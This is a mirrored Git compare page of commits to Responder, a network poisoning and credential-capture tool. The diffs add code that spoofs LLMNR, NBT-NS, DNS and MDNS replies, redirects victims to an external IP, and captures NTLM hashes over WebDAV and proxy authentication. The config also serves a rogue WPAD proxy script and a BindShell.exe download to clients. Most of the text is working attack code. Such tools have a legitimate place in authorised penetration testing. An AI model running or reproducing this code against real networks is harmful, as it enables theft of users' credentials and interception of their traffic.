mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-09 14:11:30 +00:00
Compare commits
7 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
92c9191bda | ||
|
|
35d933d596 | ||
|
|
fb69f14f69 | ||
|
|
3e2e375987 | ||
|
|
ad9ce6e659 | ||
|
|
04c270f6b7 | ||
|
|
29ad8a0816 |
@@ -131,6 +131,11 @@ Options:
|
||||
BROWSER, LLMNR requests without responding.
|
||||
-I eth0, --interface=eth0
|
||||
Network interface to use.
|
||||
-i 10.0.0.21, --ip=10.0.0.21
|
||||
Local IP to use (only for OSX)
|
||||
-e 10.0.0.22, --externalip=10.0.0.22
|
||||
Poison all requests with another IP address than
|
||||
Responder's one.
|
||||
-b, --basic Return a Basic HTTP authentication. Default: NTLM
|
||||
-r, --wredir Enable answers for netbios wredir suffix queries.
|
||||
Answering to wredir will likely break stuff on the
|
||||
|
||||
@@ -42,14 +42,14 @@ RespondToName =
|
||||
|
||||
; Specific IP Addresses not to respond to (default = None)
|
||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
||||
DontRespondTo =
|
||||
DontRespondTo =
|
||||
|
||||
; Specific NBT-NS/LLMNR names not to respond to (default = None)
|
||||
; Example: DontRespondTo = NAC, IPS, IDS
|
||||
DontRespondToName =
|
||||
DontRespondToName = ISATAP
|
||||
|
||||
; If set to On, we will stop answering further requests from a host
|
||||
; if a hash hash been previously captured for this host.
|
||||
; if a hash has been previously captured for this host.
|
||||
AutoIgnoreAfterSuccess = Off
|
||||
|
||||
; If set to On, we will send ACCOUNT_DISABLED when the client tries
|
||||
@@ -57,6 +57,11 @@ AutoIgnoreAfterSuccess = Off
|
||||
; This may break file serving and is useful only for hash capture
|
||||
CaptureMultipleCredentials = On
|
||||
|
||||
; If set to On, we will write to file all hashes captured from the same host.
|
||||
; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto,
|
||||
; domain\popo, domain\zozo. Recommended value: On, capture everything.
|
||||
CaptureMultipleHashFromSameHost = On
|
||||
|
||||
[HTTP Server]
|
||||
|
||||
; Set to On to always serve the custom EXE
|
||||
@@ -79,7 +84,7 @@ ExeFilename = files/BindShell.exe
|
||||
ExeDownloadName = ProxyClient.exe
|
||||
|
||||
; Custom WPAD Script
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY RespProxySrv:3128; PROXY RespProxySrv:3141; DIRECT';}
|
||||
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
|
||||
|
||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||
; Set to an empty string to disable.
|
||||
|
||||
33
Responder.py
33
Responder.py
@@ -20,13 +20,16 @@ import ssl
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn
|
||||
from threading import Thread
|
||||
from utils import *
|
||||
|
||||
import struct
|
||||
banner()
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
|
||||
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
|
||||
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
|
||||
|
||||
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
|
||||
|
||||
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
|
||||
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
|
||||
parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
|
||||
@@ -77,6 +80,16 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
pass
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||
def server_bind(self):
|
||||
if OsInterfaceIsSupported():
|
||||
try:
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
|
||||
except:
|
||||
pass
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
MADDR = "224.0.0.251"
|
||||
@@ -113,6 +126,7 @@ ThreadingUDPServer.allow_reuse_address = 1
|
||||
ThreadingTCPServer.allow_reuse_address = 1
|
||||
ThreadingUDPMDNSServer.allow_reuse_address = 1
|
||||
ThreadingUDPLLMNRServer.allow_reuse_address = 1
|
||||
ThreadingTCPServerAuth.allow_reuse_address = 1
|
||||
|
||||
def serve_thread_udp_broadcast(host, port, handler):
|
||||
try:
|
||||
@@ -160,6 +174,17 @@ def serve_thread_tcp(host, port, handler):
|
||||
except:
|
||||
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
|
||||
|
||||
def serve_thread_tcp_auth(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
server = ThreadingTCPServerAuth((settings.Config.Bind_To, port), handler)
|
||||
server.serve_forever()
|
||||
else:
|
||||
server = ThreadingTCPServerAuth((host, port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
|
||||
|
||||
def serve_thread_SSL(host, port, handler):
|
||||
try:
|
||||
|
||||
@@ -207,7 +232,7 @@ def main():
|
||||
|
||||
if settings.Config.ProxyAuth_On_Off:
|
||||
from servers.Proxy_Auth import Proxy_Auth
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 3128, Proxy_Auth,)))
|
||||
threads.append(Thread(target=serve_thread_tcp_auth, args=('', 3128, Proxy_Auth,)))
|
||||
|
||||
if settings.Config.SMB_On_Off:
|
||||
if settings.Config.LM_On_Off:
|
||||
|
||||
23
packets.py
23
packets.py
@@ -19,7 +19,7 @@ import settings
|
||||
|
||||
from base64 import b64decode, b64encode
|
||||
from odict import OrderedDict
|
||||
from utils import HTTPCurrentDate
|
||||
from utils import HTTPCurrentDate, RespondWithIPAton
|
||||
|
||||
# Packet class handling all packet generation (see odict.py).
|
||||
class Packet():
|
||||
@@ -57,7 +57,7 @@ class NBT_Ans(Packet):
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["NbtName"] = data[12:46]
|
||||
self.fields["IP"] = settings.Config.IP_aton
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
|
||||
# DNS Answer Packet
|
||||
class DNS_Ans(Packet):
|
||||
@@ -83,7 +83,7 @@ class DNS_Ans(Packet):
|
||||
def calculate(self,data):
|
||||
self.fields["Tid"] = data[0:2]
|
||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||
self.fields["IP"] = settings.Config.IP_aton
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
|
||||
# LLMNR Answer Packet
|
||||
@@ -111,7 +111,7 @@ class LLMNR_Ans(Packet):
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["IP"] = settings.Config.IP_aton
|
||||
self.fields["IP"] = RespondWithIPAton()
|
||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
||||
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
|
||||
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
|
||||
@@ -359,6 +359,20 @@ class WPAD_Basic_407_Ans(Packet):
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
##### WEB Dav Stuff #####
|
||||
class WEBDAV_Options_Answer(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("Allow", "Allow: GET,HEAD,POST,OPTIONS,TRACE\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("Keep-Alive:", "Keep-Alive: timeout=5, max=100\r\n"),
|
||||
("Connection", "Connection: Keep-Alive\r\n"),
|
||||
("Content-Type", "Content-Type: text/html\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
##### FTP Packets #####
|
||||
class FTPPacket(Packet):
|
||||
fields = OrderedDict([
|
||||
@@ -1583,3 +1597,4 @@ class SMB2Session2Data(Packet):
|
||||
])
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -36,7 +36,6 @@ def Poisoned_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
return data[:len(data)-5]
|
||||
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
def handle(self):
|
||||
MADDR = "224.0.0.251"
|
||||
@@ -56,7 +55,7 @@ class MDNS(BaseRequestHandler):
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||
|
||||
|
||||
@@ -14,13 +14,13 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||
from base64 import b64decode
|
||||
import struct
|
||||
from utils import *
|
||||
|
||||
from packets import NTLM_Challenge
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
|
||||
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||
|
||||
|
||||
@@ -103,14 +103,46 @@ def GrabReferer(data, host):
|
||||
return Referer
|
||||
return False
|
||||
|
||||
def SpotFirefox(data):
|
||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||
print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))
|
||||
if UserAgent:
|
||||
IsFirefox = re.search('Firefox', UserAgent[0])
|
||||
if IsFirefox:
|
||||
print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
|
||||
print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def WpadCustom(data, client):
|
||||
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
if Wpad and SpotFirefox(data):
|
||||
Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
if Wpad and SpotFirefox(data) == False:
|
||||
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
return False
|
||||
|
||||
def IsWebDAV(data):
|
||||
dav = re.search('PROPFIND', data)
|
||||
if dav:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def ServeOPTIONS(data):
|
||||
WebDav= re.search('OPTIONS', data)
|
||||
if WebDav:
|
||||
Buffer = WEBDAV_Options_Answer()
|
||||
return str(Buffer)
|
||||
|
||||
return False
|
||||
|
||||
def ServeFile(Filename):
|
||||
with open (Filename, "rb") as bk:
|
||||
return bk.read()
|
||||
@@ -154,10 +186,12 @@ def PacketSequence(data, client):
|
||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||
|
||||
WPAD_Custom = WpadCustom(data, client)
|
||||
|
||||
# Webdav
|
||||
if ServeOPTIONS(data):
|
||||
return ServeOPTIONS(data)
|
||||
|
||||
if NTLM_Auth:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
|
||||
if Packet_NTLM == "\x01":
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
@@ -169,12 +203,15 @@ def PacketSequence(data, client):
|
||||
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans()
|
||||
Buffer_Ans.calculate(str(Buffer))
|
||||
|
||||
return str(Buffer_Ans)
|
||||
|
||||
if Packet_NTLM == "\x03":
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
ParseHTTPHash(NTLM_Auth, client, "HTTP")
|
||||
if IsWebDAV(data):
|
||||
module = "WebDAV"
|
||||
else:
|
||||
module = "HTTP"
|
||||
ParseHTTPHash(NTLM_Auth, client, module)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
@@ -225,20 +262,22 @@ def PacketSequence(data, client):
|
||||
|
||||
# HTTP Server class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.settimeout(1)
|
||||
data = self.request.recv(8092)
|
||||
Buffer = WpadCustom(data, self.client_address[0])
|
||||
for x in range(2):
|
||||
self.request.settimeout(3)
|
||||
data = self.request.recv(8092)
|
||||
Buffer = WpadCustom(data, self.client_address[0])
|
||||
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.request.send(Buffer)
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
if Buffer and settings.Config.Force_WPAD_Auth == False:
|
||||
self.request.send(Buffer)
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(Buffer)
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0])
|
||||
self.request.send(Buffer)
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
|
||||
@@ -19,6 +19,10 @@ from HTTP import ParseHTTPHash
|
||||
from packets import *
|
||||
from utils import *
|
||||
|
||||
def GrabUserAgent(data):
|
||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||
print text("[Proxy-Auth] %s" % color("User-Agent : "+UserAgent[0], 2))
|
||||
|
||||
def GrabCookie(data):
|
||||
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
|
||||
|
||||
@@ -59,13 +63,15 @@ def PacketSequence(data, client):
|
||||
if Packet_NTLM == "\x03":
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||
ParseHTTPHash(NTLM_Auth, client, "Proxy-Auth")
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
return False
|
||||
return False #Send a RST with SO_LINGER when close() is called (see Responder.py)
|
||||
else:
|
||||
return False
|
||||
|
||||
elif Basic_Auth:
|
||||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
@@ -90,12 +96,7 @@ def PacketSequence(data, client):
|
||||
return str(Response)
|
||||
|
||||
class Proxy_Auth(SocketServer.BaseRequestHandler):
|
||||
|
||||
def server_bind(self):
|
||||
self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
|
||||
self.socket.bind(self.server_address)
|
||||
self.socket.setblocking(0)
|
||||
self.socket.setdefaulttimeout(1)
|
||||
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
@@ -106,3 +107,4 @@ class Proxy_Auth(SocketServer.BaseRequestHandler):
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
25
settings.py
25
settings.py
@@ -20,7 +20,7 @@ import subprocess
|
||||
|
||||
from utils import *
|
||||
|
||||
__version__ = 'Responder 2.3.2'
|
||||
__version__ = 'Responder 2.3.2.3'
|
||||
|
||||
class Settings:
|
||||
|
||||
@@ -147,11 +147,13 @@ class Settings:
|
||||
self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
|
||||
|
||||
# Auto Ignore List
|
||||
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
|
||||
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
|
||||
self.AutoIgnoreList = []
|
||||
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
|
||||
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
|
||||
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
|
||||
self.AutoIgnoreList = []
|
||||
|
||||
# CLI options
|
||||
self.ExternalIP = options.ExternalIP
|
||||
self.LM_On_Off = options.LM_On_Off
|
||||
self.WPAD_On_Off = options.WPAD_On_Off
|
||||
self.Wredirect = options.Wredirect
|
||||
@@ -167,11 +169,13 @@ class Settings:
|
||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||
self.CommandLine = str(sys.argv)
|
||||
|
||||
if self.ExternalIP:
|
||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||
|
||||
if self.HtmlToInject is None:
|
||||
self.HtmlToInject = ''
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
|
||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||
self.Os_version = sys.platform
|
||||
|
||||
@@ -191,18 +195,13 @@ class Settings:
|
||||
logging.warning('Responder Started: %s' % self.CommandLine)
|
||||
|
||||
Formatter = logging.Formatter('%(asctime)s - %(message)s')
|
||||
CLog_Handler = logging.FileHandler(self.ResponderConfigDump, 'a')
|
||||
PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w')
|
||||
ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a')
|
||||
CLog_Handler.setLevel(logging.INFO)
|
||||
PLog_Handler.setLevel(logging.INFO)
|
||||
ALog_Handler.setLevel(logging.INFO)
|
||||
PLog_Handler.setFormatter(Formatter)
|
||||
ALog_Handler.setFormatter(Formatter)
|
||||
|
||||
self.ResponderConfigLogger = logging.getLogger('Config Dump Log')
|
||||
self.ResponderConfigLogger.addHandler(CLog_Handler)
|
||||
|
||||
self.PoisonersLogger = logging.getLogger('Poisoners Log')
|
||||
self.PoisonersLogger.addHandler(PLog_Handler)
|
||||
|
||||
@@ -213,8 +212,8 @@ class Settings:
|
||||
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
|
||||
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
|
||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
||||
self.ResponderConfigLogger.warning(Message)
|
||||
self.ResponderConfigLogger.warning(str(self))
|
||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||
|
||||
def init():
|
||||
global Config
|
||||
|
||||
18
utils.py
18
utils.py
@@ -82,6 +82,12 @@ def RespondToThisName(Name):
|
||||
def RespondToThisHost(ClientIp, Name):
|
||||
return RespondToThisIP(ClientIp) and RespondToThisName(Name)
|
||||
|
||||
def RespondWithIPAton():
|
||||
if settings.Config.ExternalIP:
|
||||
return settings.Config.ExternalIPAton
|
||||
else:
|
||||
return settings.Config.IP_aton
|
||||
|
||||
def OsInterfaceIsSupported():
|
||||
if settings.Config.Interface != "Not set":
|
||||
return not IsOsX()
|
||||
@@ -124,6 +130,10 @@ def WriteData(outfile, data, user):
|
||||
with open(outfile,"a") as outf2:
|
||||
outf2.write(data + '\n')
|
||||
|
||||
# Function used to write debug config and network info.
|
||||
def DumpConfig(outfile, data):
|
||||
with open(outfile,"a") as dump:
|
||||
dump.write(data + '\n')
|
||||
|
||||
def SaveToDb(result):
|
||||
# Creating the DB if it doesn't exist
|
||||
@@ -151,7 +161,7 @@ def SaveToDb(result):
|
||||
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
|
||||
(count,) = res.fetchone()
|
||||
|
||||
|
||||
if not count:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
@@ -162,6 +172,12 @@ def SaveToDb(result):
|
||||
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
|
||||
cursor.commit()
|
||||
|
||||
if settings.Config.CaptureMultipleHashFromSameHost:
|
||||
with open(logfile,"a") as outf:
|
||||
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
|
||||
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
|
||||
else: # Otherwise, write JtR-style hash string to file
|
||||
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
|
||||
|
||||
if not count or settings.Config.Verbose: # Print output
|
||||
if len(result['client']):
|
||||
|
||||
Reference in New Issue
Block a user